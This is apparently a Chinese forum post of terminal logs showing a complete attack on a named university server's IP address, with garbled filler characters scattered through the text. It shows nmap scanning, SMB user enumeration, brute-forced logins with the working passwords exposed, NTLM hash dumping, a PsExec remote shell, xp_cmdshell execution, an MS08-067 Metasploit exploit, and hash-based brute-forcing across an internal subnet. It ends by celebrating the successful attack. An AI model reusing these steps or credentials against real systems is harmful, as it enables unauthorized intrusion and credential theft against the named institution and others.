广西师范网站http://202.103.242.241/) E" C+ }' y) L; i5 ~9 j' g
& s3 _, X5 x& M; W" Z
root@bt:~# nmap -sS -sV 202.103.242.241' f, `5 B5 T* Y4 [
& M& v$ S. ?& }" d/ O9 RStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST% w- V. n& F4 ^. j+ @: x5 {3 l5 h# y
4 n- q1 y( k- g. [* `2 J( H
Nmap scan report for bogon (202.103.242.241)% U* k8 b e5 E9 O
" _) }" L( o6 {
Host is up (0.00048s latency).
& k) n+ Q6 V$ L8 E+ I0 [; B5 L2 K/ U+ T- k& V3 S
Not shown: 993 closed ports5 ?" v& E) Z: {9 X" J
2 e/ |+ U* X$ E' R) [1 uPORT STATE SERVICE VERSION
( b: P: q8 g6 D/ N8 A* B- B( C3 ^
0 _3 U3 V9 _! J8 q% Z6 o. w135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
0 l _/ k* C& i) a
+ D) V/ w# p" n q1 i9 F139/tcp open netbios-ssn0 d: i- K' y: h- N$ Q+ E
) ~, w6 r! j! t7 ?0 o; l9 R
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
2 [4 F. D6 J5 W2 m, L( ^% X$ r2 O: |: L$ y, u1 W
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)% v0 K: _' E: n5 o7 A2 O
7 E. z3 R- r" |7 K5 d
1026/tcp open msrpc Microsoft Windows RPC! Q& d* Q9 o" c% v
' I8 G4 j8 u) T+ r) P" \: A' P: m
3372/tcp open msdtc?
; r U0 c1 J! ^" d- m: {" o' H8 E1 Z5 K) x+ c: O( `% X
3389/tcp open ms-term-serv?3 a: x( \! q) l3 n0 s; a
* x+ q* o6 M( Q% s+ t/ C y
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :$ @3 r2 f' f# v7 a6 H4 F s; Y! s5 x$ c
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r$ W$ {4 l( D8 B8 d% Q8 l
( j6 }8 l1 C7 w' U2 |! o- n w7 ^$ ]SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
) S7 ]: k' y: o, {
) s9 r6 [* o6 z' x" qSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”) d" a, o" e& ~; c$ ]. q$ k1 ^/ O( T
3 ]3 Q6 _' t0 R: \
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
% j1 H* [" g: \ j% m1 t5 i
0 \+ V% v- `* t1 U2 \1 BSF:ptions,6,”hO\n\x000Z”);
4 Y2 d& `6 |4 F9 v, O! x, Q, c4 ~$ H# ]7 m
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
5 R0 H! Y% C2 P5 U' a- P; P+ s* k p7 L; c
Service Info: OS: Windows: ]' ^6 t" h4 N5 a! M5 p' |3 z
: S: S1 p) c. P# }+ PService detection performed. Please report any incorrect results at http://nmap.org/submit/ .4 d( w8 |/ C" J& g( {9 G
3 _$ J# t$ s- bNmap done: 1 IP address (1 host up) scanned in 79.12 seconds6 @4 K' {* V D, s5 k
* F" {7 ]2 S% S6 U
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
# X' I, z% _8 e" B* z& ?/ c5 j b8 M
. i) [1 @$ U+ j# t6 q-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse$ o9 r" m' j/ f! g8 ]
; p1 \4 ^, `) @! i+ W+ G3 P-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse2 P5 v R+ U- U' k0 \( S8 E3 T
+ s. y2 G+ V! Y-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
$ y9 j9 C7 g+ `! t/ e0 I
' E P$ [4 `7 d6 x-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse [: \+ Q+ u. F o% N& i) @, D
J1 T; b1 X$ i3 P. z3 B-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
4 X" V; G; k- M+ N
9 n9 C% v3 ?7 p% `% }% ?8 p* D-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse5 m! \' R5 o0 E" M
; h' {" }' h6 v/ O$ j-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
( V) m' X( H: [* }# ^, K4 l5 a9 h) U, o3 W
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
$ u9 v* @5 j" h8 t) w0 o( W0 ~4 r R9 c" P5 G# @6 |, N1 ]
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse. H- I; @8 ?7 M, a9 o
o! u) y9 }6 ^3 P& d
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse. N2 d- k1 i7 ?1 Z7 E8 s1 D
% }, h& T) g# Y4 B5 _! X4 V
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
" e3 q u/ Y1 }
! g5 e6 B2 P& O3 H# Z, u" ~-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse5 T/ O. n- D3 W& Z8 j/ n- M8 ]
6 `1 y; o% K/ \-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
) A |* S. a3 k# U+ d2 A" O: k9 D8 g1 ]- ?% o$ d. X
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
% W8 t. r! @2 M. |; r t& W# I6 d& J! }9 h, y F$ U
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse8 T% A! j# Y* B: ^
- V0 [- E. r6 H/ U& U+ xroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 ( E& @% H* p8 V; n0 I" x5 A1 E
6 }8 G. D/ _" W. j8 S# D* Q# D- B//此乃使用脚本扫描远程机器所存在的账户名# a* M, p6 f$ U1 j |, Q
* O0 {4 c5 O/ s8 E0 [: m0 V p* K* t
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST8 q3 j: }# {2 M9 V
( A5 [: F9 z- ^$ {7 O
Nmap scan report for bogon (202.103.242.241)1 K! d; {) T2 P* f5 H7 \' M7 V
' H; F( m2 c8 \# I3 jHost is up (0.00038s latency).
9 J' n7 J5 g! }/ b1 B2 d+ b6 a/ @' K6 K3 s$ u2 M+ e( R
Not shown: 993 closed ports. D6 p% U' m9 p+ |
( O) @. m' U$ T. y* \( K) u# Q
PORT STATE SERVICE/ A9 Z6 r: D4 X* t. S. D; P
# n* L& w4 d! E135/tcp open msrpc7 q( o0 O. g( M" z2 d3 D; M
' v! @5 I' d+ n9 a- y1 m8 u' L( ~
139/tcp open netbios-ssn
8 Z5 `- [- S D- H& q7 r! | C: ?( ]3 H7 a# r: b# S, S I: f0 p+ T
445/tcp open microsoft-ds) b+ j! }6 G/ F7 d
4 X2 h z; U' q7 v8 r1025/tcp open NFS-or-IIS9 L/ Y0 ]3 D3 P/ O1 c! E3 ~
( k% l4 p3 A2 A2 C
1026/tcp open LSA-or-nterm, v7 q6 I! Y7 s, D7 p
0 Z8 X! l" I, l% S
3372/tcp open msdtc( [ K, |, O% B, W- d. O5 h. H
' N) @9 I0 `! S2 X4 \9 z& R) _
3389/tcp open ms-term-serv3 S; M: A+ J% l4 @2 G) o) f
0 k; ], V5 D) I' Z+ l) e# BMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
; x7 F3 f4 C& U( R# H5 T2 {3 w: R! m1 {- g/ W
Host script results:
, c( X' z% P# C7 A1 S3 y1 k2 q+ `9 o
| smb-enum-users:; y1 s+ P* H6 A; N4 H- s F
0 w& ^, J1 Q+ a+ n, g. M# k
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果3 Y6 t7 M7 q! g, }) y$ C
; K8 V+ E/ n2 X1 @
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
. T) V( u4 c& K% e" Z/ N) X
2 z9 U6 L, e. v* n: z2 uroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
" i- W2 }6 S- |# e- w
# R- @ i# z- Y. r7 g+ q//查看共享
9 a, w n$ H) Y! S& g4 i {; d2 R
8 U9 Z) g4 X- h h" F, {: ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
0 b. w: M7 y, P' W E2 L' D# G# U4 A# `3 y, g
Nmap scan report for bogon (202.103.242.241)! h# ]- l: R7 U+ a6 b+ C7 S3 o9 }
4 F; z: k/ V3 s1 G. U1 {4 s; @
Host is up (0.00035s latency).
8 j$ }/ i8 O# q5 y0 b+ p3 ] y" o: ]2 \9 @
Not shown: 993 closed ports+ @ Y: C# b5 L. l1 c. f
8 d6 j+ }9 j6 j$ x l- D
PORT STATE SERVICE
4 L4 I2 k0 r0 a5 T; d% a5 n F/ S7 S7 ]
135/tcp open msrpc; g) Z! J+ G: F
! l# m4 @. s% B! C. m" c- G+ z" `
139/tcp open netbios-ssn, L" ~3 \* Z5 A1 Z8 q0 B' e1 m( q
" T: P' s2 f N
445/tcp open microsoft-ds
- U+ s" n/ e: ^* Y; m* r& [
4 w4 P6 F |# y1 a9 t6 W1025/tcp open NFS-or-IIS$ C$ z; h( ?9 B3 f
' G: [, t: g6 b! G, {$ E7 T; j1026/tcp open LSA-or-nterm" r5 F5 ~* o, v% y, v9 _
+ t) Y% i2 p4 M" _% S( u7 e
3372/tcp open msdtc2 I2 j$ {, T' @, l6 n
s7 @3 ]- e+ v9 I) I0 O0 a3389/tcp open ms-term-serv& A8 ^2 V6 X# I' K( p0 X& ]5 E
' `. @+ H! h/ F& QMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
8 X3 {: ] v2 g2 K
- k) L% G/ W5 I. IHost script results:- u2 a: v8 L. P; Q
8 |/ D6 b1 ]& A3 B) Z5 l( g
| smb-enum-shares:
9 X$ p6 r1 v I
7 ]7 V$ I! e2 b& H- m| ADMIN$0 }/ ?# i: r0 g9 P* V3 K/ M
- I; s, ^3 ?3 j4 ^, ~8 S| Anonymous access: <none># r0 M8 f0 h k; C* {3 z" }
) q8 H8 z2 l# Y& q/ h6 h* b& t5 Z% ?| C$5 n4 A7 M- }4 A& l B
/ G& r' g ~+ [+ Z" x| Anonymous access: <none>1 O7 q8 z2 h; o" p, _" z0 F
3 e7 G3 U U8 Z G% o9 U
| IPC$
! z9 T6 N% |4 k
6 G6 a# e/ K2 }$ B/ h" \4 [' M|_ Anonymous access: READ
* Q' b! T- j# G" `& ~% H7 q* x3 x) ]- o
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds3 D3 k) R- s, h2 I. B8 ]
6 Z5 |3 l" {- P1 s8 proot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 ' z/ J1 Z* M( t6 Y
+ W' M& S( M h- V" J: ?/ `5 ^! ^' [# ^
//获取用户密码
2 i5 `1 ] i. _0 m, }: @5 @
- r) p. h! {8 g* ` g: T; LStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
, P! X/ U3 ]5 X/ I/ c3 ^: y0 d) q0 W) W8 z( F5 m; j" m# B7 Z
Nmap scan report for bogon (202.103.242.2418). k3 y/ i0 k. ^- J5 U5 K
% M2 T) R. T$ e$ {/ X- j9 hHost is up (0.00041s latency).
$ V! |: S1 N/ B/ v' o
1 S! Q" N! r8 P; N& e( T) O/ T% ZNot shown: 993 closed ports: F& S5 s4 c; i, x) H; i3 @+ G5 {2 I' j
" U$ i. j9 [/ N2 Q( K7 S4 {6 I. F
PORT STATE SERVICE7 m3 T4 [4 W1 d$ P5 g5 u8 }
2 \, q6 h8 d% [
135/tcp open msrpc
( |3 ~" F: |) [5 R9 z) m, L& {+ z$ U" P$ I
139/tcp open netbios-ssn
* @# M, E: U2 r" k0 Z: i2 F9 z5 i9 D; R o
445/tcp open microsoft-ds
/ _! g! o$ o5 q* p9 N2 _/ `1 X/ A7 T0 [8 E* a9 y* f7 A
1025/tcp open NFS-or-IIS0 x) e. X0 t! l) @0 Q
' a# W' E! Y* q. F4 z8 n# T
1026/tcp open LSA-or-nterm# J- b8 |) o# R, f, |
[% o: k% ^3 @9 \7 B3372/tcp open msdtc! ] K8 v+ c. K) g
& g6 C% a! F: R9 I3 E/ q3389/tcp open ms-term-serv. [; t6 R& Y6 z: A! T E. D
/ P3 h" T# t6 nMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)5 w' ~+ L' W: c+ k$ O. ~1 C
g! R8 R9 }. b PHost script results:0 `. N# N3 g& V2 G# V
" d7 o) m- |, L3 |
| smb-brute:/ r4 |( F7 p2 i% u
" V( L6 V$ N; ~# I! k! [9 V# n
administrator:<blank> => Login was successful
8 g) V: h- _6 B. z1 z- C
7 W+ ^" ^1 H% a9 I) X|_ test:123456 => Login was successful1 d7 s+ z2 J$ l. Z& o
! S/ [: r* P7 r7 V1 ~& TNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
" u1 p9 U4 m* A/ T! C' l! N6 {" M
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
|, E, N) o, t$ |2 K; v- L
8 u6 J) Y- T# ?% b- Droot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
+ s! i" ?$ i/ {2 @4 D1 j3 f- K* F+ u( X
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
8 `; [! I) `& v" p' { s7 `% A# {( t( [- y
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139. m- H B6 T1 }9 ]5 ` r$ I
3 K: o$ P# |+ o# p5 v0 S+ |
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST ]4 ]/ }* c3 x3 L) a' {, R
* n& f9 T; {, z# H; i7 hNmap scan report for bogon (202.103.242.241)
: K7 N7 |! D. _- t, U' c: L" `' {8 b7 F* ]- J1 K
Host is up (0.0012s latency).
. u8 n. {: X2 ?5 _8 T8 n7 W" M$ j- `/ H5 S
PORT STATE SERVICE9 t0 {6 [7 v/ D7 u3 t" b4 O3 h7 ~
8 R/ Y* u1 y+ u0 s( Y135/tcp open msrpc6 o. W, j! L! ]1 E1 s5 O% E1 g" r9 r
" ~, L* c5 A! b+ D$ a$ j" l$ b139/tcp open netbios-ssn
2 [* s# i/ V5 x: A/ e |
2 l; A: p. U4 ? G445/tcp open microsoft-ds o- u. e) l3 ]) X. x4 {
- W: U" @9 h1 i1 vMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)$ M/ ?# l4 T* s; I1 v1 z4 L: z
% o3 X3 m' U6 u0 [$ p
Host script results:
. ~ A& p q& Y- \0 A
0 Y W# X3 O0 l" F! u$ D0 i| smb-pwdump:
; b8 q& ~- g6 {9 x# l" z) [& R# {/ F
1 h' L) w# c6 N& ?4 Z/ p# [' M7 U| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************: n: |4 M5 P% y
2 E N3 d( W" ^* ]% O| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
5 ^# K4 w$ \: m8 ~2 J) ]& ~$ q% Y4 e
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
, F3 ?" I+ T6 [7 [. ? I% |
& ~& ^ \- x q3 Z; R|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D25 o2 b* [- C+ w. b" d. w3 L) Z: H
9 }* Z5 b# l1 f8 R+ I
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
6 F" u D$ X. v1 `) b1 w' c1 p" h0 g0 d, j* a
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
2 @/ D+ H; t) e! Z
' D4 _- d: e9 `' x-p 123456 -e cmd.exe
6 V' Y/ x% t% Z7 b+ A/ @$ h" c! Y, u0 D# {2 [5 C) J
PsExec v1.55 – Execute processes remotely" j0 }/ C) C, h
) b c& Z& H8 t8 C+ {& A$ \% G$ G
Copyright (C) 2001-2004 Mark Russinovich4 y2 u S( H$ Z
$ L; C$ q2 y4 j' w
Sysinternals – www.sysinternals.com
T, u. }' K1 ?7 D+ w
1 \. {* [$ q9 r& rMicrosoft Windows 2000 [Version 5.00.2195]5 c# V/ ~) o: m3 J
! ]9 f. ^. A$ v8 l& \(C) 版权所有 1985-2000 Microsoft Corp.7 j- _. h8 W5 S- o" D$ h0 P0 o) [) M
6 o K* c4 b/ M6 b. ]* U9 y" bC:\WINNT\system32>ipconfig `: q/ f w; ?" a1 b: j
7 e9 e, c+ n, p4 n! `/ O
Windows 2000 IP Configuration# i0 T l: Z( U/ p8 c5 [. @! m
1 U6 u" v' W- N, d. o
Ethernet adapter 本地连接:
6 M" y: L* s* t! g) D. r7 T9 D- j2 d5 l: p# C5 }
Connection-specific DNS Suffix . :; P# O# f: H/ y2 p
) t. b3 t$ N iIP Address. . . . . . . . . . . . : 202.103.242.241! j2 W( e! R- U' ^" _
. U% r. ] M `7 vSubnet Mask . . . . . . . . . . . : 255.255.255.0
j+ i% A( F& ^, y
2 [ B' T/ T- ?0 A8 IDefault Gateway . . . . . . . . . : 202.103.1.1
4 V `! y6 f' N
% S% i, ]8 W7 D% A5 r7 h sC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
" @) ]+ U1 F$ M# u' t+ ]4 D
! J: Z F7 n, U& Q proot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
; B1 J- r/ S, A& q1 l- D8 B+ C
b) |; A& N' H# YStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST6 {) m g W4 d, y
" W/ I: X! W2 @) \
Nmap scan report for bogon (202.103.242.241)3 x+ T# ?3 a/ H3 u0 E5 r
- ~/ A C/ ^9 h7 v
Host is up (0.00046s latency).. q# O% _% y' G( V
" L Y/ |+ K8 T8 h2 Z5 Z
Not shown: 993 closed ports
# _* R6 E0 A+ J
$ P" a/ N. s& ~& UPORT STATE SERVICE
/ \! B/ `) U0 |4 ?" t
5 C( C. i G" @2 a* j135/tcp open msrpc
, G% f+ U$ C; z: @, S3 a- W4 {% o2 K; ]
139/tcp open netbios-ssn
3 o# {8 I# Q& o+ d+ t2 h' a, ~8 F& F: M0 H" y
445/tcp open microsoft-ds
: ?0 J8 _# ~1 q0 M1 S
& h* r, i, O# K4 s1025/tcp open NFS-or-IIS
- C8 `% @0 A) e% U8 Y$ V: Y
5 r& x. `2 L" V# q- x* l& O1026/tcp open LSA-or-nterm9 N8 N, ~- g+ Y8 i0 [8 ]+ N) _8 h( M
, i9 V9 x2 k! E, o3 a
3372/tcp open msdtc
2 W7 t& @# K) h
% D& I# ^6 w7 e5 G0 `7 {3389/tcp open ms-term-serv! s' E/ I; r- R
1 U0 X' r! T" n& A9 J( }7 R$ RMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! x2 \# S1 J& x/ \4 O- b
8 O/ `+ E; O( ]7 u2 k7 fHost script results:. }" I2 r0 h/ I, H1 P- L
) p: o% m r8 {' X h/ n8 D0 G# v
| smb-check-vulns:
, s1 [: G1 p8 Z8 Z4 v4 E. O" d! @5 u* B$ {: @
|_ MS08-067: VULNERABLE
" U$ F# }: d* \7 v4 M* e) o2 U2 u. u1 y* p1 Z
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
" E+ s y! V1 X$ U( U* N6 e7 \0 ?" `3 a/ c
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
* l3 B- V2 g7 x) x( ^' A+ R+ F! h- r
msf > search ms08; g' s8 _# |; s8 @
2 u) t/ N! e& S0 S
msf > use exploit/windows/smb/ms08_067_netapi
! ] X8 ]2 r% R- |( t7 d9 ~8 D$ ^7 t& M7 I
msf exploit(ms08_067_netapi) > show options
3 P% H) b7 F% w; H" ?* _2 V$ T
- ^1 M2 T, J+ R# m) @msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
; y( X/ `/ T$ B* \ P2 L+ f, z/ v% T* v6 J8 V; f
msf exploit(ms08_067_netapi) > show payloads
! V5 F6 h1 T# d; z% c c( O, ]
/ t) D7 N' `" C ~msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp0 I" h% s& d0 a1 i3 K* t; U
- P3 V1 t. k( O9 ymsf exploit(ms08_067_netapi) > exploit
- l) H9 h) s* S5 ~ a; O& F
9 P7 }/ F4 o( J6 Ometerpreter >2 h, F( M; a) r, K0 e( _4 z
% B" e5 o( h P+ ^/ T( \, s0 A, s
Background session 2? [y/N] (ctrl+z)
0 W1 o% j; p. L4 @
: n# P. M5 _) j+ k9 `) {msf exploit(ms08_067_netapi) > sessions -l, w' J3 I6 X( e, Q
- K5 g4 e+ y: Z9 i
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
) v4 ^8 ~- t" c" p! M! F% A$ t; U7 Z _2 @4 {6 H3 i/ _
test' d1 s# g$ G5 b: [9 Y
0 [. i, v: g5 o% t7 |6 U# Nadministrator
5 z: \* |- q; N! p$ C# a
* v9 T* n' j$ y2 O0 s p# ^$ iroot@bt:/usr/local/share/nmap/scripts# vim password.txt
+ W. S, h* V" ^
& X* A: ?. I# @2 U, J, p' f44EFCE164AB921CAAAD3B435B51404EE! u" t. `# s z, z( {
4 b7 F W/ x9 Q7 C
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
; A( |! |! d: e4 I" F7 }) S
9 b( q S( A0 J; X) o' [ //利用用户名跟获取的hash尝试对整段内网进行登录
$ i, E8 C+ Y1 z, [& I9 d
4 ]7 \" ]5 y8 L7 E$ SNmap scan report for 192.168.1.105! A% u* @1 B1 h+ k1 E2 r
" F4 P' K$ p# @) k& J- a$ F( ]
Host is up (0.00088s latency).( t9 n# ^* L+ ~/ M" P
. b. U ?) {6 T" k. ZNot shown: 993 closed ports
9 U" d. d- e, M& q
, g* k: l; N! u- g: g3 @PORT STATE SERVICE
* x2 C" l v2 r4 V: Z
2 i ~- C! q! m. u" X9 X135/tcp open msrpc
, |$ N/ _) ^ d& F
$ e r8 `( E1 Z" m Y. o$ F; W139/tcp open netbios-ssn! y. i) U$ S6 x
; E9 z4 y* O6 k+ |' q- ?0 W
445/tcp open microsoft-ds g) o9 `( w0 i1 q
& k& h( q% z( h
1025/tcp open NFS-or-IIS
. ~! s4 a# Y9 g: g
7 {0 j3 f2 W7 L7 m% {% ^. t1026/tcp open LSA-or-nterm, N# _- g* _! ?* j
0 r9 Y" A# ` U$ c; T
3372/tcp open msdtc
5 m; Y; t1 K5 e! k# J6 B+ k$ Y% p) X _
3389/tcp open ms-term-serv
. N; e( [% m; Z1 j# y7 I* v1 r
! Y% X. p. `. U0 \1 X# K2 ?/ [MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
3 H& @+ Y3 T5 b' J& Z1 d, p r# [8 `
Host script results:. {" L1 E2 J& e4 k( `' x
) k! F* P+ [% f8 u- ~| smb-brute:# f& Z7 d% n e/ D( H- r
" N `! w( E" O9 a# u|_ administrator:<blank> => Login was successful
: C1 ?0 D2 A1 B9 V& g/ w$ J# E. E0 A: k1 s) `7 L4 [8 |
攻击成功，一个简单的msf+nmap攻击~~·
& v2 p) c4 U- A r' o& v/ s, r; X0 S! L* o7 D4 ^; c$ I
|
发表于 2012-12-4 12:46:42
收藏
支持
反对